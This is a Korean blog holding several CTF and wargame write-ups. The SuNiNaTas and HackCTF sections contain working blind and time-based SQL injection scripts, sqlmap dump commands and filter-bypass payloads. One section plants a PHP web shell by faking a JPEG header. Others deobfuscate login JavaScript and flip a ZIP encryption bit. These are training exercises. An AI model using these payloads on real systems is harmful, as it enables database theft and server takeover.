보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형


문제에 접근하면 Challenge Description이 나오는데 해석해본 결과 무슨 말인지 잘 이해가 안갔다..

그래서 일단 Link의 주소로 접근해보았다.



로그인하는 창이 뜨고 아래에 Hint가 있길래 눌러보았더니 Ableton보다 쉽다고 한다.

별 도움이 되지 않았고.. 또 다른 힌트가 있지 않을까 싶어 소스코드 보기를 하였다.


그랬더니 소스코드 내에 아래와 같은 스크립트가 존재하였다.


이런 문제를 풀 때는 크롬의 개발자도구를 이용하면 도움이 된다.


변수부분을 짤라 콘솔에 입력하여서 아래와 같은 결과를 보았다.


대충보면 user와 pass 값에 대한 것으로 추측되지만 정확히 하기 위해 나머지에 대해 분석해보았다.


function check(){    //원본

var _0xeb80x2=document[_0xae5b[2]](_0xae5b[1])[_0xae5b[0]];

var _0xeb80x3=document[_0xae5b[2]](_0xae5b[3])[_0xae5b[0]];

if(_0xeb80x2==_0xae5b[4]&&_0xeb80x3==_0xae5b[4]){alert(_0xae5b[5]);}

else {alert(_0xae5b[6]);}}

function check(){    //분석결과

var _0xeb80x2=document[getElementById](user)[value]

var _0xeb80x3=document[getElementById](pass)[value]

if(user=="Cyber-Talent"&&pass=="Cyber-Talent"){alert("Congratz..")}

else {alert("wrong Password")}

}


분석결과 user와 pass에 Cyber-Talent가 들어가면 문제가 풀리는 것으로 보아 입력한 결과 Flag가 출력되었다.


반응형

'Solve Problem' 카테고리의 다른 글

File Upload Filter Bypass Research  (0) 2019.05.17
[Websec.fr] level1 Writeup  (0) 2019.03.24
[root-me] Command injection - Filter bypass  (0) 2019.02.01
[SuNiNaTas] 23번 문제  (0) 2019.01.21
[PythonChallenge] 3번 문제  (0) 2018.09.02
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

1) admin의 패스워드 확인

 - admin의 문자열을 우회 : a'+'dmin' 

 - id=a'%2b'dmin'and+len(pw)=12-- 를 이용하여 admin의 패스워드가 12자리임을 확인


2) left를 이용하여 앞에서부터 확인

 - admin의 패스워드 첫번째 글자가 v임을 확인


- guest의 패스워드는 guest임을 확인하였기 때문에 id 부분에 따로 admin이라고 작성해주지 않고 or 을 이용하여 v로 시작하는 패스워드를 확인하면 guest가 아닌 admin의 패스워드를 찾으며 길이에 대한 이점이 생긴다.

(코드)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

cookies = {'ASPSESSIONIDCABAABAS':'AKJHNLMBKIPJLJLOGFIELDMA'}
result = 'v'
 
for i in range(2,13):
    print "[-]: "+str(i)
    for j in range(32,122):
        url = "http://suninatas.com/Part_one/web23/web23.asp?id='or+left(pw,"+str(i)+")='"+result+chr(j)+"'--&pw=1"
        response = requests.get(url,cookies=cookies)
        print url
 
        if 'OK' in response.text:
            result += chr(j)
            print "[+]result = " + result
            break
cs




(결과) 길이에 대한 필터링때문에 v3ryhardsq 까지만 확인 가능



3) right를 이용하여 뒤에서부터 확인

 -뒤에서부터 확인하였을 때 OK admin이 나온 것은 i 였으므로 i 부터 뒤에서부터 확인

(코드)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

cookies = {'ASPSESSIONIDCABAABAS':'AKJHNLMBKIPJLJLOGFIELDMA'}
result = 'i'
 
for i in range(2,13):
    print "[-]: "+str(i)
    for j in range(32,122):
        url = "http://suninatas.com/Part_one/web23/web23.asp?id='or+right(pw,"+str(i)+")='"+chr(j)+result+"'--&pw=1"
        response = requests.get(url,cookies=cookies)
        print url
 
        if 'OK' in response.text:
            result = chr(j)+result
            print "[+]result = " + result
            break
cs


(결과) yhardsqli를 확인


둘을 합치면 v3ryhardsqli가 Flag인 것을 알 수 있다.


~ SuNiNaTas All Clear ~


반응형

'Solve Problem' 카테고리의 다른 글

[CYBER TALENTS] This is Sparta  (0) 2019.02.05
[root-me] Command injection - Filter bypass  (0) 2019.02.01
[PythonChallenge] 3번 문제  (0) 2018.09.02
[PythonChallenge] 2번  (0) 2018.09.02
[PythonChallenge] 1번  (0) 2018.09.02
블로그 이미지

rootable

,
반응형

이번 문제는 SuNiNaTas의 28번 문제를 그대로 가져온 듯 하다.

문제를 풀어보자.



제공해준 zip 파일을 다운받아 열면 flag.txt 파일이 존재하는데 해당 파일을 읽으려하면 암호를 입력하라고 한다.



그래서 fcrackzip을 이용하여 해당 zip 파일의 암호를 해독해보려 했는데 flag.txt가 암호화가 되어있지 않다고 뜬다.


그래서 ZIP 파일의 파일헤더에 대해 찾아보았다. 

- 참고 : https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html



파일 헤더를 보면 0x8 0x9 부분에 Flags 헤더가 존재함을 볼 수 있다.

이 헤더가 의미하는 바는 아래와 같다. 


Flags     General purpose bit flag:

Bit 00: encrypted file

Bit 01: compression option 

Bit 02: compression option 

Bit 03: data descriptor

Bit 04: enhanced deflation

Bit 05: compressed patched data

Bit 06: strong encryption

Bit 07-10: unused

Bit 11: language encoding

Bit 12: reserved

Bit 13: mask header values

Bit 14-15: reserved


그렇다면 문제에서 제공한 zip 파일에서 flag.txt는 어떤 형식으로 되어있는지 보자.



flag.txt의 0x8 0x9에는 각각 09 08이 들어있음을 볼 수 있다.

이는 00001001 00001000으로 리틀엔디안 형식으로 보면 Bit 00에 해당하는 값이 1로 세팅되어 있음을 볼 수 있다.


이를 0으로 세팅해주기 위해 08 08로 변경해준 뒤 저장해준다.


그리고 난 뒤 다시 해당 zip 파일을 열어보면 flag.txt의 잠금이 풀려 Flag를 얻을 수 있다.




반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] No Password  (0) 2018.12.30
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,
반응형

해당 문제는 2018 Xmas-CTF를 복구한 문제입니다.


문제에 접근하면 액세스 거부! 라는 글이 보인다.

돌아다녀봐도 사용자로부터 입력을 받는 파라미터나 버튼이 없는 것을 확인하였다.


나는 여기서 [공인된 컴퓨터] 라는 것에서 힌트를 얻었다.

user-agent 부분에서 뭔가 되지 않을까 싶어 SQL Injection을 시도하였고 성공하였다.




위와 같이 User-Agent 부분에 Injection 구문을 넣은 결과 아래와 같이 [환영합니다] 라는 문구가 떴다.



여기부터 2가지 방식으로 진행하였다.


방법1. SqlMap 활용 > Time Based SQL Injection


1) DB 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 --dbs

 - user-agent에 대한 공격을 진행하기 위해서는 level 3으로 지정해주어야 한다.


2) TABLE 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db --tables


3) column Name 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas --columns


4) 데이터 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas -C ua --dump



방법 2. Blind SQL Injection


1) 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib2

flag = ""
url = "http://ctf.j0n9hyun.xyz:2029/"
request = urllib2.Request(url)

for chr_l in range(1,41):
    print "[-] find "+ str(chr_l)+"'s letter"
    binary=''

    for bin_l in range(1,8):
        request.add_header('User-Agent',"' or (select substr(lpad(bin(ascii(substr(ua,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1) from uas)=1 and '1'='1")
        if("color: green;" in urllib2.urlopen(request).read()):
            binary += '1'
        else:
            binary += '0'
        print binary

    flag = flag + ('%x' % int(binary,2)).decode('hex')
    print flag

print flag

cs

2) 결과




반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,
반응형

해당 문제는 2018 Xmas-CTF를 복구한 문제입니다.


문제에 접근하면 가위바위보 게임이 있는데 필요없다 ㅋㅋ

취약한 부분은 바로 우측 상단에 있는 [설정] 페이지이다.



우측 상단의 설정을 누르면 아래와 같은 화면이 나타난다.

파일 선택 부분이 있어 파일업로드 취약점을 이용하는 것인가 싶어 이미지 파일 선택 후 파일 내용을 아래와 같이 변경 후 프로필 사진 변경을 눌렀다.

<?php echo("HELLO") ?>


하지만 이미지 파일이 아니라는 에러가 떴다.

그래서 파일확장자를 변경하는 등의 시도를 진행했지만 성공하지 못하였고 혹시 이미지 파알헤더를 체크하는 것인가 하여 HxD를 이용하여 이미지 파일헤더를 확인하였다.


파일 헤더를 보면 FF D8 FF임을 알 수 있다.

따라서 hello.php에 위에 입력한 구문을 입력 후 앞에 JPG의 파일 헤더를 넣기 위해 111을 삽입 후 HxD를 이용하여 JPG 파일헤더로 변경하여주었다.


그 결과 업로드가 잘 되었고, 업로드된 파일에 접근하여보았더니 파일이름이 현재 설정된 이름으로 된 것을 볼 수 있었다.


이름을 test.php로 변경시켜준 뒤 해당 파일에 접근하면 내가 입력한 echo문이 잘 실행된 것을 볼 수 있다.


이를 이용하여 간단한 웹쉘 코드를 업로드한 뒤 flag값을 찾았다.


반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] No Password  (0) 2018.12.30
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,
반응형

와.. 삽질하면서 깨달은 점을 적는다..



문제는 이러하다.


싱글쿼터도 되는데 왜 안된다고 생각을 했는지 모르겠지만..


일단 진행한 순서대로 서술해보자.


일단 blind sql injection을 진행해야 할 때 데이터 일치 여부에 따라 화면에 출력되는 부분이 없다면 time based sql Injection을 진행해야 한다.



따라서 id부분에 아래와 같이 작성하였다.

id=' || length(id)>9 %26%26 sleep(2)#&pw=1


= 가 필터링 되어 있어 >를 이용하여 길이를 구해주었고 or과 and가 필터링 되어 있어 ||와 &&를 사용하였다.


그 후 각 id 값을 구할 땐 아래와 같이 진행하여 찾았다.

id=' || right(left(id,1),1)>0x71 %26%26 sleep(2)#&pw=1


그래서 ID를 잘 찾았다!

그 결과는 sup3rADM2N


여기서 삽질을 했던 것이 있는데 hex라는 것을 잊고 49 다음에 50으로 넘어 M과 N을 둘다 50이라고 착각해서 시간을 낭비했다 ㅠㅠ


이건 잠깐의 실수라고 해서 넘어갈 수 있다.. 그런데 나중에 큰 멘붕이 온다..


ID를 찾았겠다! 이제 PW를 찾기 시작했다.

일단 아래의 쿼리를 입력하여 PW의 길이를 찾았다.

id=sup3rADM2N' %26%26 length(pw)>B %26%26 sleep(2)#&pw=1


총 12자인 것을 확인 후 아래와 같은 방식을 이용하여 PW를 찾았다.

id=sup3rADM2N' %26%26 right(left(pw,1,1))>0x4A %26%26 sleep(2)#&pw=1


그래서 결과적으로 pw를 찾았다.

그 결과는 KKKBANGS2R1S 이다.


다 찾았다~ 해서 id에 sup3rADM2N를 넣고 pw에 KKKBANGS2R1S를 넣고 로그인을 시도했는데 응?? 해결이 안된다.


----------------------------------------

나중에 알게 된 사실인데..

문자의 경우 hex 값으로 비교를 진행하면 소문자라도 대문자의 hex값으로 일치한다고 뜬다..


아래의 두 사진을 보자.


아래의 사진은 Name 중 3번째 문자가 'j'로 hex 값으로 0x6A라서 where 절에 넣었을 때 제대로 출력되는 것을 볼 수 있다.


그런데 동일한 문자('j')를 대문자 J의 hex 값인 0x4A로 했을 때도 일치하다고 뜨는 것을 볼 수 있다.


이렇기 때문에 blind sql injection을 진행하면 항상 대문자로 나와 대소문자를 따지는 로그인이 진행되지 않은 것이다.


이를 해결하기 위해 난 아래의 방법을 사용할 것이다.


id=sup3rADM2N' %26%26 cast(hex(right(left(pw,12),1)) as unsigned) > 73 %26%26 sleep(2) & pw=1


위의 쿼리를 이용한 것은 hex 함수로 해당 문자를 hex값으로 출력시킨 뒤 cast 함수를 이용하여 숫자형으로 변경 시켜준 것이다.


그렇게 하면 싱글쿼터를 사용할 필요가 없다.


------------------------------------------------------

** 추가

문자열 비교인 = 혹은 like가 필터링 되어 있다면 in 함수를 사용해주면 된다.


'a'='a'

'a' like 'a'

'a' in ('a')


모두 동일하다고 보면 된다.



반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] No Password  (0) 2018.12.30
[HackCTF] 가위바위보  (0) 2018.12.28
블로그 이미지

rootable

,